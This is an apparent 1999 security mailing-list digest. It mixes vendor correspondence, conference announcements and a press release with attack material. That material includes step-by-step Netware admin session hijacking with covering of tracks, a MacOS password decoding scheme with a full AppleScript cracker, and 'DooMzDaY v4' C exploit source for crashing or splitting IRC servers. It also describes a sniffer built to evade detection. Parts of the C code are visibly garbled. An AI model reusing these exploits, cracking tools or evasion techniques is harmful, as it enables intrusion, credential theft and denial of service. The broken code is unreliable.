_________________________________________________________________________________________________________ 2.7-: NT Predictable Initial TCP Sequence numbers - changes observed with SP4 ; réponse (1/1) _________________________________________________________________________________________________________ Microsoft have now confirmed the problem: ----------------------------------------- From: Sunil Gopal To: Roy Hills Subject: RE: NT 4.0 SP4 predictable initial TCP sequence numbers Date: Tue, 24 Aug 1999 04:20:56 -0700 Hi Roy, Sorry about the silence... Though the TCP sequence generation pattern changes made to TCPIP.SYS for SP4 are an improvement, I have been informed that this has been resolved in Windows 2000 and will be "back ported" to NT 4.0 in a future SP release. The issue remains open and is being worked on.... We are trying to get escalate this further and get it into the HOTFIX schedule and hope to make it available to xxx ASAP. Hope this helps... Thanks and Regards, Sunil Gopal, MCSE Technical Specialist/Systems Engineer mailto:sunilg@microsoft.com "Enable people to do anything they want, anytime they want, anywhere they want, on any device." ===================================================================================== 2.7-: NT Predictable Initial TCP Sequence numbers - changes observed with SP4 (End) : _________________________________________________________________________________________________________ ~~~~~~~~ Novell : ~~~~~~~~ _________________________________________________________________________________________________________ 3.1-: NMRC Advisory: Netware 5 Client Hijacking (begin): ======================================================== _______________________________________________________________________________ Nomad Mobile Research Centre A D V I S O R Y www.nmrc.org Jitsu-Disk [jitsu@nmrc.org] Simple Nomad [thegnome@nmrc.org] 15Jul1999 _______________________________________________________________________________ Platform : Novell Netware Application : NDS/NCP Severity : High Synopsis -------- Armed with the MAC address of the Administrator, an intruder can hijack an Admin's session and issue NCP calls as the the Admin on Netware servers. Tested configuration -------------------- The bug was tested with the following configuration : Novell Netware 5, Service Pack 2 (with IPX configured) Latest Client Software for Windows 95/98 Also confirmed on Netware 4.x. Bug(s) report ------------- This is an old bug. We reported it to Novell over a year ago, and even released exploit code (see http://www.nmrc.org/pandora/). Since several people had problems using the exploit code and Novell still hasn't corrected (to our satisfaction) all of the problems with Netware 5, we've updated the exploit code in the new Pandora v4, which is now in beta release. While Netware/IP is the recommended path for Netware 5, most organizations using Netware are still using Novell's proprietary IPX protocol for server access. IPX is required for this exploit to work. In essence, IPX fragmented requests/replies (NCP call 0x68) are not signed if the packet signature level is not set to 3. Setting it to 3 on the server side is good, but if the client is set at 1, it is possible to spoof or hijack a portion of the client's session. If the target client is the Admin, we can tell the server to make us security equivalent to the Admin. Please refer to the details at http://www.nmrc.org/pandora/ncp.txt, especially sections 6 and 7, which detail how the attack works. The new Pandora Online utility will simply require you insert the MAC address of the Admin's workstation into a dialog box, and Pandora will handle the rest of the sniffing required to make the attack work. As always, placement of your attack box is critical: ---------- ---------- ---------- ------------- | Admin | | Attack | | Router | | Netware 5 | | Client | | Box | | | | Server | ---------- ---------- ---------- ------------- | | | | | --------------------------- ------------- So here are the steps: 0. Admin client is Packet Signature Level 1, and server is Packet Signature Level 3. 1. Attack box gets Admin's MAC address, and inserts it into the Pandora Online tool. Attacker has the option to adjust other parameters as needed, but the main one is the MAC address. 2. Admin performs actions dealing with NDS that use fragmented packets (normal administrator activity will give us the needed packets quickly). 3. Attack box sends forged request to server, making us security equivalent to Admin. 4. Netware 5 server accepts forged packets. 5. Admin client loses connection from server as its packet sequence is now out of whack. 6. Attacker adjusts security settings for self so that the attacker has full access to entire tree, and removes "equal to Admin", so s/he will not show up on a basic "who's equiv to me" investigation by Admin. Caveats: 0. This attack will fail in a switched environment since sniffing is involved. 1. This is a race. If the Admin client beats the attacker, the attacker must try again. 2. Obviously the attacker being on the same Ethernet segment as the Admin will help considerably in an attack. In theory this should work if you are anywhere in between the Admin client and the server, although you will need to use the MAC address of the router interface the Admin's session is coming from. At best, this may not work at all, but is still theoretically possible. 3. In theory this could be adapted to a Netware/IP environment, as Novell's TCP/IP stack is vulnerable to sequence number prediction. We have not explored adapting Pandora exploit code over to a pure IP environment, but will explore this possibility in future Pandora releases. Solution/Workaround ------------------- Use Packet Signature Level 3 everywhere, and make sure clients cannot touch their own signature settings. LAN Admins should never access a server unless using Level 3, and the security on the workstation should be restrictive enough to prevent unauthorized adjustments (i.e. use a locked-down NT client with no server services running, behind a locked door, although this simply places your trust in Microsoft). Use switched Ethernet. Alternately, you can ask Novell to patch things. We did our part a year ago. Comments -------- Simple Nomad had to leave Las Vegas right after Black Hat due to a minor medical emergency at home, and missed DefCon. This advisory was one of the things slated to be discussed during the DefCon presentation. As stated, Novell was contacted regarding this bug in June of 1998, 13 months ago. We got this to work in a lab setting. YMMV. The new Pandora v4 includes all of the Pandora v3 attacks against Netware 4 updated to work against Netware 5. It was developed with 100% freeware libraries and compilers. We are proud that this code doesn't look like a normal 95/98/NT, the GUI was developed on Linux. Pandora v4 is 100% freeware. Source code is freely available. We always recommend using the latest versions of Netware with the latest patches, and using the maximum security settings at all times on Netware servers. ====================================================== 3.1-: NMRC Advisory: Netware 5 Client Hijacking (End): _________________________________________________________________________________________________________ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Others (IRC, MacOS, Conférences, etc) : ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ _________________________________________________________________________________________________________ 4.1-:MacOS system encryption algorithm (begin): =============================================== The encryption algorithm in MacOS system is simple and the password can be easily decoded. Password is stored in Users & Groups Data File in Preferences folder. Offset is different on each system and depends on Users & Groups configuration, but it always lie after owner's username. It's not so difficult to find it using hex editor, even if we don't know owner's username. Here are some examples of encrypted passwords: 00 04 06 18 0D 0A 19 0B = stayaway 0A 1F 10 1B 00 07 75 1E = yellow 1C 1B 16 14 12 62 10 7B = owner 07 02 13 1A 1E 0F 1A 14 = turnpage 27 25 33 27 27 39 24 7E = Trustno1 AA BB CC DD EE FF GG HH = aa bb cc dd ee ff gg hh where: AA BB CC DD EE FF GG HH - encrypted password (hex) aa bb cc dd ee ff gg hh - decrypted password in ASCII codes (hex) aa=AA XOR 73H bb=BB XOR AA XOR 70H cc=CC XOR BB XOR 63H dd=DD XOR CC XOR 67H ee=EE XOR DD XOR 74H ff=FF XOR EE XOR 70H gg=GG XOR FF XOR 72H hh=HH XOR GG XOR 6BH An example: Let's take OO 04 06 18 0D 0A 19 0B 00H XOR 73H = 73H = s 04H XOR 00H = 04H; 04H XOR 70H = 74H = t 06H XOR 04H = 02H; O2H XOR 63H = 61H = a 18H XOR 06H = 1EH; 1EH XOR 67H = 79H = y 0DH XOR 18H = 15H; 15H XOR 74H = 61H = a 0AH XOR 0DH = 07H; 07H XOR 70H = 77H = w 19H XOR 0AH = 13H; 13H XOR 72H = 61H = a 0BH XOR 19H = 12H; 12H XOR 6BH = 79H = y tested on: MacOS 7.5.3, 7.5.5, 8.1, 8.5 I wrote an apple script to break passwords --------CUT HERE-------- (* MacOS Pass 2.1 by adix 15.06.99; Apple Script English *) global lbin, bit1, bit2, bitk set hex1 to text returned of (display dialog "Enter encrypted password (hex): " default answer "" buttons {" Ok "} default button " Ok " with icon stop) set Alicia to "0111001101110000011000110110011101110100011100000111001001101011" set pass to "" set lbin to "" set razem to "" set i to 1 set skok to 0 set ile to count items in hex1 if ile = 0 or ile = 1 then set pass to "" else repeat until (i > (ile - 1)) set kodascii to 0 set razem to "" set zn to items (i) thru (i + 1) in hex1 set lbin to hex2bin(zn) repeat with a from 1 to 8 set bit1 to item (a + skok) of Alicia xor(a) set razem to {razem & bitk} as string if i < 2 then set kodascii to {kodascii + bitk * (2 ^ (8 - a))} end if end repeat if i < 2 then set pass to {pass & (ASCII character kodascii)} else set zn to items (i - 2) thru (i - 1) in hex1 set lbin to hex2bin(zn) repeat with a from 1 to 8 set bit1 to item a of razem xor(a) set kodascii to {kodascii + bitk * (2 ^ (8 - a))} end repeat set pass to {pass & (ASCII character kodascii)} end if set skok to skok + 8 set i to i + 2 end repeat end if display dialog "Password: " & pass & return & return & "by adix" buttons {" Ok "} default button " Ok " with icon note on hex2bin(zn) set temphex to {"0000", "0001", "0010", "0011", "0100", "0101", "0110", "0111", "1000", "1001", "1010", "1011", "1100", - "1101", "1110", "1111"} set t2hex to "0123456789ABCDEF" set bin to "" repeat with j in zn set t1 to j as string repeat with i from 1 to (count items in t2hex) if ((item i in t2hex) = t1) then set temp to (item i in temphex) exit repeat end if end repeat set bin to {bin & temp} as string end repeat return (bin) end hex2bin on xor(a) set bit2 to item a in lbin if bit1 = bit2 then set bitk to "0" else set bitk to "1" end if end xor --------CUT HERE-------- Dawid adix Adamski adixx@friko4.onet.pl ============================================= 4.1-:MacOS system encryption algorithm (End): _________________________________________________________________________________________________________ _________________________________________________________________________________________________________ 4.2-:Sane 2000 (conférence)(begin) : ==================================== Announcement and Call for Papers ____ _ _ _ _____ ____ ___ ___ ___ / ___| / \ | \ | | ____| |___ \ / _ \ / _ \ / _ \ \___ \ / _ \ | \| | _| __) | | | | | | | | | | ___) / ___ \| |\ | |___ / __/| |_| | |_| | |_| | |____/_/ \_\_| \_|_____| |_____|\___/ \___/ \___/ 2nd International SANE Conference May 22-25, 2000 Maastricht, The Netherlands A conference organized by the NLUUG, the UNIX User Group - The Netherlands co-sponsored by USENIX, the Advanced Computing Systems Association, and Stichting NLnet OVERVIEW Technology is advancing, the systems administration profession is changing rapidly, and you have to master new skills to keep apace. At the second International SANE (System Administration and Networking) conference you'll find a wealth of opportunities to meet other system administrators and network (security) professionals with similar interests, while attending a program that brings you the latest in tools, techniques, security and networking. You can learn from tutorials, refereed papers, invited talks, work-in-progress (WIP) and Birds-of-a-Feather (BoF) sessions. Visit the Vendor Exhibition for the hottest products and the latest books available. The official language at the conference will be English. The conference will be located at the Maastricht Exposition and Conference Center, MECC. TUTORIAL PROGRAM On Monday May 22 and Tuesday May 23, a large selection of practical, problem-solving, in-depth tutorials will be presented to you by the most authoritative, popular and widely acclaimed speakers. TECHNICAL CONFERENCE Following the tutorial days, Wednesday May 24 and Thursday May 25 will offer comprehensive technical sessions, including keynote address, presentations of refereed papers, invited talks and BoFs. The social event and the enjoyable inSANE Quiz will help you getting to know other professionals in your field. CONFERENCE TOPICS Presentations are being solicited in areas including but not limited to: * Security tools and techniques: Network Intrusion Detection Systems, Firewalls, VPNs, practical cryptography and auditing * Web security fundamentals and practical web site maintenance * Network monitoring and traffic shaping solutions * System and network performance tuning * Managing enterprise-wide e-mail and fighting junkmail (sometimes mistakenly referred to as 'spam') * Experiences with Open Source software (including operating systems) in a professional environment * Innovative system administration tools & techniques * Distributed or automated system administration * Adventures in nomadic and wireless computing * Intranet development, support, and maintenance * Integrating new networking technologies * Integration of heterogeneous platforms * Support strategies in use at your site * Effective training techniques for system administration and users REFEREED PAPER SUBMISSIONS An extended abstract is required for the paper selection process: details on how to submit an abstract will be published at the web site listed below. Abstracts accompanied by non-disclosure agreement forms are not acceptable and will be returned unread. Authors of accepted submissions must provide a final paper for publication in the conference proceedings. These final papers are held in the highest confidence prior to publication in the conference proceedings. By agreeing to present your paper at SANE 2000, you also give license to the SANE 2000 conference organizers that it may be published in the members-only area on the NLUUG web site and/or in the conference CD-ROM. WORK-IN-PROGRESS (WIP) The conference facilitates Work-In-Progress (WIP) sessions in parallel to the main conference tracks. WIPs are informal, 20-minute talks that give you the opportunity to share your current unfinished work with others in the field. So, if you have a topic of interest that is not very well suited for a refereed paper submission, please submit a proposal for a WIP session to the WIP Coordinator at the address: BoFs Birds-of-a-Feather (BoF) sessions are highly interactive, informal gatherings of attendees interested in a particular topic. BoFs enable attendees to discuss topics of mutual interest and to build professional relationships with other people who share similar interests. A BoF that is already being planned is a PGP key-signing BoF (or party). If you want to schedule a BoF prior to the conference, please contact the BoF coordinator at the address: IMPORTANT DATES Extended abstracts due: November 1, 1999 Notification to speakers: November 12, 1999 Final papers due: March 24, 2000 CONFERENCE ORGANIZERS Program co-chairs Bob Eskes, Applied System's Research, Hollandse Signaalapparaten, Hengelo Edwin Kremer, Department of Computer Science, Utrecht University Tutorial Coordinator Jos Alsters, C&CZ, KU Nijmegen Program Committee Jaap Akkerhuis, SIDNL, Arnhem Michel Anders, Tunix, Nijmegen Walter Belgers, Origin, Eindhoven Fred Donck, Shell Services International, Rijswijk Peter Honeyman, USENIX Brad Knowles, Belgacom Skynet SA/NV, Brussels Event Organization Marielle Klatten, NLUUG Monique Rours, NLUUG Wytze van der Raay, NLnet Foundation Complete program and registration information will be available in December 1999. For the latest information about the conference, please visit the SANE 2000 web site: http://www.nluug.nl/events/sane2000/ For questions not being answered at this web site, please contact the NLUUG office by e-mail: sane2000-info@nluug.nl ------------------------------------------------------------------------ Best regards, Fred Donck Program Committee member -- e-mail: fred@donck.com Fred Donck whois: fd435 ================================== 4.2-:Sane 2000 (conférence)(End) : _________________________________________________________________________________________________________ _________________________________________________________________________________________________________ 4.3-:ToorCon (conférence) (begin): ================================== ToorCon - San Diego, California's ONLY Comprehensive Computer Security Conference WHEN September 3rd-4th, 1999 Each day starts at 10am and ends at 6pm WHERE The Price Center in the University of California, San Diego: 9500 Gilman Drive La Jolla, CA 92093 WHO ToorCon is sponsored by the San Diego 2600 Meeting (sd2600.net) and Nightfall Security Group (nfsg.org). WHY The purpose of ToorCon is to bring a comprehensive, interactive and enjoyable conference to the western United States that will help make the public aware of the importance of computer security and how to make their networks more secure. We will try to cover more general issues such as hackers and crackers and how the media uses it's role in the computer world but we are going to focus toward specific issues of computer security such as IDS, firewalling, buffer overflows, etc. PRICE ToorCon is $35 at the door for both days. If you live in the San Diego area, or wish to pay in advance for large companies please contact me at skalore@sd2600.net and we can arrange to pay in advance for $25 per person. REFERENCES ToorCon Website is http://toor.sd2600.net San Diego 2600 Meeting Website is http://www.sd2600.net Nightfall Security Group is http://www.nfsg.org Thank You, From the Staff of ToorCon ================================ 4.3-:ToorCon (conférence) (End): ________________________________________________________________________________________________________ ________________________________________________________________________________________________________ 4.4-:ircd exploit in ircu based code (begin): ============================================= Most irc networks using ircu based servers have a bug that can cause users to segfault the server. In m_join, the code doesn't check to see if get_channel returned failure (by returning NULL). While the line numbers will probably be off, this patch will work in most ircu based servers. --- ircd/channel.c Tue Jul 13 19:58:46 1999 +++ ircd/channel.c Tue Jul 13 20:05:31 1999 @@ -2004,6 +2004,12 @@ chptr = get_channel (sptr, name, !CREATE); /* need the TS -Kev */ + if (!chptr) { + sendto_one (sptr, err_str (ERR_NOSUCHCHANNEL), + me.name, parv[0], name); + return(0); + } + sendto_serv_butone (cptr, ":%s MODE %s +%s%s %lu", me.name, name, sendmode ? "o " : "", sendmode ? parv[0] : "", chptr->creationtime); /* send the MODE to the Kevin Day DragonData ToastyMan on irc.dragondata.com (on NewNet) _________________________________________________________________________________________________________ 4.4-:ircd exploit in ircu based code ; réponse (1/1) : _________________________________________________________________________________________________________ >From: Kevin Day >To: BUGTRAQ@SECURITYFOCUS.COM >Subject: ircd exploit in ircu based code > >Most irc networks using ircu based servers have a bug that can cause users >to segfault the server. > >In m_join, the code doesn't check to see if get_channel returned failure (by >returning NULL). As of now I can't even find this bug in the oldest versions of our code, for sure isn't there in u2.10.06, I still have to check on the previous 2.10.05 that is still packaged in some Linux/BSD distributions. Would you please let me know in what version of the Undernet's code you found it and, in case there is still a way to core the current servers report the way to exploit it on bugs@undernet.org ? We would appreciate a lot if any bug that can cause a server coredump is reported on bugs@undernet.org with a few days of advantage respect to the other public lists... so we can fix it on te fly (we happen to have a living network with 38k users on it...). Thanks a lot, Andrea aka Nemesi, Undernet's coder committee. =========================================== 4.4-:ircd exploit in ircu based code (End): _________________________________________________________________________________________________________ _________________________________________________________________________________________________________ 4.5-:IRC: Exploit for a Bug in ircd2.10.x (qident) (begin): =========================================================== I dont think that has been posted before. There is a bug in ircd 2.10.x used in ircnet in conjunction with qident. DESCRIPTION ----------- qident does not check sucessfully for spaces and characters as like *, ! and @. When using an ident as like "@o ! ! !", o would be treated as host, the parameters which are left, would be enhanced by the number of spaces provided by the ident. If this ident is accepted, the connected client will become a ghost. This ghost is not successfully transmitted to the ircnetwork, thereful only visible on the server it connects. That would not be problematic, but the real problems occur, when the bogus idented client joins a channel. The join is not being rejected by the network and transfers the bogus ident with the parameters. Then, a "protocol error" occurs, the server is forced to split from the rest of the network. More problematic gets the fact, when the bogus client gets collided. This can lead to a denial of service crashing the ircd completely. FIXES ----- The opers had been informed quite a time ago, there are only some servers left which react on that bogus ident. EXPLOIT ------- Attached you will find a simple exploit, which starts an irc client with a spoofed ident. There should not run in.identd, while the exploit is used. Also, you have to be root (used for the bind). And it's written for linux. GREETINGS --------- especially to suffkopp and his friend newroot. those lamers forced me to make it public. so far, psychoid www.psychoid.lam3rz.de -- Sent through Global Message Exchange - http://www.gmx.net Attachment: doomzday4.c (10k) -- Download without Scan -- Scan with McAfee /* DooMzDaY v4 - ircd 2.10.x/ircnet - exploit * for linux - written by psychoid from tcl * * general vulnerability found by Hippo * a fix already is available, but there are * also incomplete fixes out there. * * this splits a server from the network. Simple, isnt it ? * * if you really want to run this, there should not run * an in.identd on your machine. Also, you need to be root. * * erm, this is for educational purposes only. Even, if noone gets * hurt *g*. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include jmp_buf jumpback; void timed_out( int sig ) { longjmp( jumpback, 0x0 ); } void fuck_it(int sig) { longjmp( jumpback, 0x0 ); } int settimeout(unsigned short sockh, unsigned short timeout) { fd_set rfds; struct timeval tv; FD_ZERO(&rfds); FD_SET(sockh,&rfds); tv.tv_sec=timeout; tv.tv_usec=0; select(sockh+1,&rfds,NULL,NULL,&tv); if (!FD_ISSET(sockh,&rfds)) { return 0; } else { return 1; } /* returns 0=timeout or error, 1=input there */ } unsigned long lookup(char *hostname) { struct hostent *name; unsigned long int address; if ((address = inet_addr(hostname)) != -1) return address; if ((name=gethostbyname(hostname)) == NULL) return -1; memcpy(&address,name->h_addr,name->h_length); return address; } int writesock(int sock,char *buf) { write(sock,buf,strlen(buf)); } int readsock(int sock,char *buf,int size) { int rc; fd_set rfds; struct timeval tv; int cnt; memset(buf,0x0,size); cnt=0; if (settimeout(sock,1)==1) { do { rc=read(sock,buf+cnt,1); if (rc==0) return rc; if (rc==-1) return rc; cnt++; } while (buf[cnt-1] != '\n' && buf[cnt-1] != '\r' && cnt=0) { pt=strstr(buf,"PING"); if (pt==buf) { writesock(sock,"PONG :PPP\r\n"); } pt=strstr(buf,"ERROR"); if (pt==buf) break; printf(buf); } close(sock); } int main (int argc, char **argv) { int listensocket, insocket, outsocket; short listenport, destport; struct hostent *socks_he, *dest_he; struct sockaddr_in listen_sa, socks_sa; char buf[200]; int sopts = 1, maxfd; char c[100]; char *po; int length; int cnt; int rc; int lport,fport; fd_set rfds; lport= 0; fport =0; printf("\nDooMzDaY v4 - by psychoid\n"); printf("exploits a bug in the ircd ident request of ircd 2.10.x\n"); if (argc != 4) { printf ("Usage: %s ircserver port nick\n", argv[0]); printf ("Example: %s chat.bt.net 6669 killah\n\n", argv[0]); exit (1); } printf("Setting up..\n"); listenport = 113; listensocket = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); setsockopt (listensocket, SOL_SOCKET, SO_REUSEADDR, &sopts, sizeof (int)); memset (&listen_sa, 0, sizeof (struct sockaddr_in)); listen_sa.sin_port = htons (listenport); listen_sa.sin_addr.s_addr = htonl (INADDR_ANY); socks_sa.sin_port = htons (destport); if ((bind (listensocket, (struct sockaddr *) &listen_sa, sizeof (struct sockaddr_in))) == -1) { perror ("bind"); exit (1); } if ((listen (listensocket, 1)) == -1) { perror ("listen"); exit (1); } rc=fork(); if (rc ==0) { printf("\nStep 1: Starting identd\n"); sleep(2); /* the demon should really run */ ircdboost(argv[1],atoi(argv[2]),argv[3]); exit(0x0); } gee: sleep(1); printf(" Identd started.. listening.\n"); insocket = accept (listensocket, NULL, 0); if (insocket == -1) { perror ("accept"); exit (1); } while (1) { memset(c,0x0,sizeof(c)); FD_ZERO (&rfds); FD_SET (insocket, &rfds); select (insocket+1, &rfds, NULL, NULL, NULL); if (FD_ISSET (insocket, &rfds)) { length = recv (insocket, c, 100, 0); if (length == -1 || length == 0) break; sscanf(c," %d , %d", &lport, &fport); snprintf(buf,sizeof(buf),"%d , %d : USERID : UNIX : @o ! ! ! ! ! ! \r\n",lport,fport); printf("\nIdent : %s\n",buf); /* sending it a second time because of the lame 1st patch */ send(insocket,buf,strlen(buf),0); snprintf(buf,sizeof(buf),": USERID : UNIX : @o ! ! ! ! ! ! \r\n"); printf("\nIdent : %s\n",buf); send(insocket,buf,strlen(buf),0); break; } } sleep(1); close (insocket); close (listensocket); wait(0); exit(0x0); } _________________________________________________________________________________________________________ 4.5-:IRC: Exploit for a Bug in ircd2.10.x (qident) ; réponse (1/1) _________________________________________________________________________________________________________ Hi there, At 1:55 +0200 10-08-1999, Simon Coggins wrote: >I'm sure your all on the list but just incase. > >----- Original Message ----- >From: >> qident does not check sucessfully for spaces and characters >> as like *, ! and @. >> >> When using an ident as like "@o ! ! !", o would be treated as >> host, the parameters which are left, would be enhanced by the number of >> spaces provided by the ident. thanks for the report, no I am not on bugtraq, I rely on people in there contacting us to forward what's relevant ;) As reported I don't think this problem exists on undernet's codebase, since version .02 or such the reply of ident is strongly checked and allows a very restricted set of chars, dropping off (either by replacing them with _ or by forcing them to terminate the userid) basically any non plain ascii char and any char that has a special meaning to the irc protocol. Should something have slipped out of the checks.. jst report it to me and will be fixed on the fly, as of now I think that Undernet's ircu is safe from this kind of exploit. Regards, Andrea aka Nemesi Undernet's coders committee. [P.S.: Why there are on bugtraq 50 persons unable to tell their "vacation" message to not be sent to the posters of the mailing lists ? Lameness....] ========================================================= 4.5-:IRC: Exploit for a Bug in ircd2.10.x (qident) (End): ________________________________________________________________________________________________________ ________________________________________________________________________________________________________ 4.6-:L0pht Heavy Industries - AntiSniff (begin): ================================================ For Immediate Release L0pht Heavy Industries Releases a Public Beta of Its Revolutionary New AntiSniff Network Security Software Boston, MA - July 22, 1999 - L0pht Heavy Industries, a world renowned computer security think tank, today announced the public beta release of its AntiSniff network security software, which can detect attackers surreptitiously monitoring a computer network. "AntiSniff is a whole new breed of network security tool, designed to detect the attack patterns used in compromising a computer network, instead of merely being reactive to already known vulnerabilities.", said Dr. Mudge, Chief Scientist at L0pht Heavy Industries. AntiSniff, which operates on both Windows NT and UNIX operating systems, will detect remote computers that are packet sniffing, that is, monitoring all network communications. In a recent survey, three-quarters of U.S. corporations, government agencies, financial institutions and universities reported suffering financial losses due to computer security breaches. Some of these attacks have become quite famous, such as the successfull attacks against the Senate & FBI webservers. Other attacks, however, don't get any media attention, and are far worse than the defacement of a web site. These attacks involve the invasion of government and corporate secrets, and personal privacy. Many of these attacks rely on packet sniffing to penetrate deep into a computer network. Network communication can be likened to large group of people standing together in a room and talking. When people talk to each other, others nearby have the ability to listen in. When computers communicate over networks, they normally only listen to communications destined to themselves. However, they also have the ability to enter promiscous mode, which allows them to listen to communications that are destined to other computers. When an attacker successfully compromises a computer, they install what is known as a packet sniffer, a tool that puts the computer into promiscuous mode, thus allowing them to monitor and record all network communications. The private information they gather, such as account names, passwords, credit cards, and even e-mail, is then used to compromise other computers. This is how, from one weak computer in a computer network, many computers, and the information they contain can be compromised. Until now, it has been impossible for network administrators to remotely detect if computers were listening in on all network communications. L0pht Heavy Industries' AntiSniff stops all this, by giving network administrators and information security professionals the ability to remotely detect computers that are packet sniffing, regardless of the operating system. Dr. Mudge explains, "AntiSniff works by running a number of non-intrusive tests, in a variety of fashions, which can determine whether or not a remote computer is listening in on all network communications. Now it is impossible for an attacker who is sniffing to hide." Current network security tools, such as network scanners, work by probing machines for software that contains bugs or software that's misconfigured. Intrusion Detection Systems (IDS), work by finding malicious signatures in network traffic. AntiSniff, on the other hand, is the first of it's kind. It remotely detects the passive act of eavesdropping on network communications. It will even detect packet sniffers installed by a rogue insider who may have legitimate administrative access to a machine, but still should not be monitoring all network traffic. The AntiSniff public beta is released for Windows NT, complete with a fully featured graphical interface, report generating tools, and alarm system. It is designed so that it can be used to quickly scan a network or scan continuously, triggering alarms when a "packet sniffing" machine is detected. The beta version has been made available free to all who would like to try it out. L0pht hopes to have the commercial release ready within a few weeks. Retail and site license pricing have not yet been determined. To further the research of the security community as a whole, as they have in previous products, L0pht will be releasing AntiSniff as a UNIX command-line tool, complete with full source code. For more information please contact AntiSniff@l0pht.com. The free beta download and full documentation are available at http://www.l0pht.com/antisniff/. About L0pht Heavy Industries L0pht Heavy Industries is a world renowned computer security think tank. Founded in 1992 as a computer research facility, the L0pht has grown into a leader in the field of computer security software. The L0pht's products include L0phtCrack, the industry standard NT password auditing tool. As a result of their innovative security research, the L0pht has released dozens of computer security advisories to the Internet community, warning of dangerous vulnerabilities in today's most widely used software. Many at the L0pht are considered top experts in the computer security field and have appeared on numerous network news programs and documentaries, as well as having testified about government computer security for the U.S. Senate. Visit the L0pht's web site at http://www.l0pht.com. All trademarks and registered trademarks are the property of their respective holders. These pages are Copyright 1999 L0pht Heavy Industries, Inc. ============================================== 4.6-:L0pht Heavy Industries - AntiSniff (End): _________________________________________________________________________________________________________ _________________________________________________________________________________________________________ 4.7-:All Hail The AntiAntiSniffer Sniffer! : ============================================ Hello once again folks. For those of you who didn't muck through the l0pht technical documentation, their AntiSniff product works in 3 ways: 1. OS dependant IP stack glitches which mostly revolve around ether frames that have a different hwaddr than your NIC not being dropped by a kernel when the interface is in promiscous mode, thus eliciting some sort of response from your kernel. 2. DNS lookups. When most sniffers are running, the resolve the IPs of the hosts they sniff, so all you have to to is send out some fake packets with fake IP headers, and listen for the sniffing host to try to resolve them via DNS. 3. Latency. When the interface is in promiscous mode, the device no longer drops eth frames not destined for it's hwaddr, so this dropping must be done in kernelspace or in userland (by the sniffer). The logging proccess and the context switch from kernel to userspace eat up a good amount of time, so all you have to do is send a lot of data to the network with bogus IP's, then ping all the machines. The sniffing machines will have to wade through all the bogus data, and thus their responses are much slower. I was most impressed with #3. It does work surprisingly well for detecting promiscous legitamate loggers. In fact, 3 days before this advisory, I was very surprised to see that when I ran icmplogger (from the jail package) my ping responses from myself dropped from 0.0 to 1.4ms, and to other machines from 0.3 to 1.5ms. That's well over the 4 fold increase reported in the l0pht paper. Ok, now how did I get around all these issues? Well, lets go one by one: 1. The Linux kernel is perfect (well, almost :). I checked the 2.2.10 source, and it in fact does always drop invalid eth frames destined for your machine when your are in promisc mode (see net/ipv4/ip_input.c). 2. All you have to do is use inet_ntoa() instead of gethostbyname() :) 3. This is where the REAL fun is. I designed a network load average evaluator that calculates a ms/packet rate. If the network falls below a user specified rate (ie LOTS of packets per ms), the sniffer does one of 3 things: 0. Will not trace more than a user specified number of conenctions (fall-back mode) a. Stopps queueing and logging connections to disk until the load average goes back up (LAZY mode) b. Drops the interface and goes to sleep if the load average for tcp connections only goes below a specified rate (PARANOID mode) c. Drops the interface and goes to sleep if the load average for ALL network packets goes below a specified rate (REALLY_PARANOID mode) Issues that I came across: 1. I randomized the sleep time so that we wouldn't be caught by a double scan that knows how long the default sleep time is for the sniffer. 2. The sniffer averages the load over a user specified number of packets. It may be possible to write a compact version of AntiSniff that gets the job done in a number of number of packets small enough to evade the default setting, but that can always be lowered :) 3. Some kernels don't like to work with the sniffer. In fact, I have a 486, a K6, and a dual PII 300 that I tested this thing on. It sniffs on the 486, but the kernel drops ALOT of packets, so the sniffer never sees the rate fall below the danger threshold. (I think this is because I set the CPU_IS_TO_SLOW option for the 486). The K6 works beautifully with the traffic detection, but will not sniff. Go figgure :) The only thing I can think of is that the K6 is configured no to use modules, perhaps this has some side effect in the socket PACKET code? The Dual PII 300 worked flawlessly. For more information, see the accomanied source file. I tired to make it as well commented as possible. It is based on the original LinSniffer by Mike Edulla. Linsniff666 (the modified version that uses linked lists) proved too unstable and looked too grossly ineffienct to use for something like this. My version does queue up connection in linked lists like linsniff666. I tried to make the sniffer as foolproof as possible to give the l0pht guys something to think about for revision 2.0. Remember, I did this all in only one night. I have no idea what a modivated hacker could do. Also, this is very beta. I know it will sniff. I haven't tested the linked list code very thouroghly, altho my brother and I did look over it for almost 2 hours, and it does seem to work pretty well. I have no idea about memory leaks, or extremely heavy loads. P.S. To all my friends, coworkers, and associates who thought I knew better than to do something like this, please understand that when I discovered I could call the program The AntiAntiSniffer Sniffer, I just couldn't resist :) ================================================ 4.7-:All Hail The AntiAntiSniffer Sniffer! (End) _________________________________________________________________________________________________________ _________________________________________________________________________________________________________ 4.8-:L0pht ICMP Router Discovery Advisory (begin) : =================================================== Not sure what happened to it the first time; here's a second forwarding. -sili --[begin]-- L0pht Security Advisory Release date: August 11, 1999 Vulnerable: Microsoft Windows95a (w/winsock2), Windows95b Windows98, Windows98se and Sun Microsystems SunOS & Solaris operating systems. Severity: Attackers can remotely add default route entries on the victims host. Status: Microsoft contacted, fix provided. Author: sili@l0pht.com URL: http://www.L0pht.com/advisories.html Source code: http://www.l0pht.com/advisories/rdp.tar.gz code written by Silicosis & Mudge I. Problem ---------- The ICMP Router Discovery Protocol (IRDP) comes enabled by default on DHCP clients that are running Microsoft Windows95 (w/winsock2), Windows95b, Windows98, Windows98se, and Windows2000 machines. By spoofing IRDP Router Advertisements, an attacker can remotely add default route entries on a remote system. The default route entry added by the attacker will be preferred over the default route obtained from the DHCP server. While Windows2000 does indeed have IRDP enabled by default, it less vulnerable as it is impossible to give it a route that is preferred over the default route obtained via DHCP. SunOS systems will also intentionally use IRDP under specific conditions. For Solaris2.6, the IRDP daemon, in.rdisc, will be started if the following conditions are met: . The system is a host, not a router. . The system did not learn a default gateway from a DHCP server. . The system does not have any static routes. . The system does not have a valid /etc/defaultrouter file. It should be noted that the important point of this advisory is not that ICMP Router Solicitation and Advertisement packets have no authentication properties. Yes, this is a problem but it has long been known. The dangerous aspect comes in various MS platforms enabling this protocol and believing it _even when the DHCP setup specifies not to use IRDP (dhcp option #31) (ie the operating system does this even though you believe you are telling it NOT TO). The tool provided with this advisory is the basis of what would be used for everything from web page hacks, stealing credentials, modifying or altering data, etc. involving vulnerable systems. We believe 